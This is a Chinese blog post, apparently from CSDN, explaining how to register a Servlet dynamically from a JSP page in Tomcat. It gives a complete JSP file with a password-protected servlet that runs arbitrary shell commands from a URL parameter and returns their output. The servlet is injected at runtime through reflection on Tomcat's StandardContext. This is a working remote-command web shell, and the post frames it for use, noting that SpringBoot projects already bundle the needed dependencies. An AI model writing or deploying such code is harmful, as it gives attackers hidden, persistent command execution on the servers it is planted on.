利用JSP动态注册Servlet

  1. 引入对应版本的tomcat-catalina包

<dependency>
     <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>10.1.6</version>
</dependency>
  1. 新建一个JSP页面并写入以下内容

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
  <title>首页</title>
</head>
<body>
<%!
  //RCE Servlet
  //http://localhost:8080/MyServlet?pwd=123456&cmd=whoami
  public class MyServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws java.io.IOException {
      java.io.PrintWriter out = response.getWriter();
      try {
        if ("123456".equals(request.getParameter("pwd"))) {
          response.setContentType("text/html;charset=UTF-8");
          response.setCharacterEncoding("UTF-8");
          java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
          int a = -1;
          byte[] b = new byte[2048];
          out.print("<pre>");
          while ((a = in.read(b)) != -1) {
            out.println(new String(b));
          }
          out.print("</pre>");
        }
      } catch (Exception e) {
        out.print("Hello World!");
      }
    }
  }
%>

<%
  try {
    //动态注册Servlet
    ServletContext servletContext = request.getServletContext();
    java.lang.reflect.Field appcationContextField = servletContext.getClass().getDeclaredField("context");
    appcationContextField.setAccessible(true);
    org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) appcationContextField.get(servletContext);

    java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) standardContextField.get(applicationContext);

    //注册进Servlet
    org.apache.catalina.Wrapper wrapper = standardContext.createWrapper();
    wrapper.setServletClass(MyServlet.class.getName());
    wrapper.setName("MyServlet");
    wrapper.setServlet(new MyServlet());

    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/MyServlet", "MyServlet");
  } catch (Exception e) {
    out.print("Hello World!");
  }
%>
</body>
</html>

3.有些人看到这就要开始想了,不是这还要引入个依赖,我怎么利用,在SpringBoot项目中由于它使用的内嵌式的Tomcat所以它默认引入了Tomcat的所有核心依赖,不用担心!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

木芒果呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值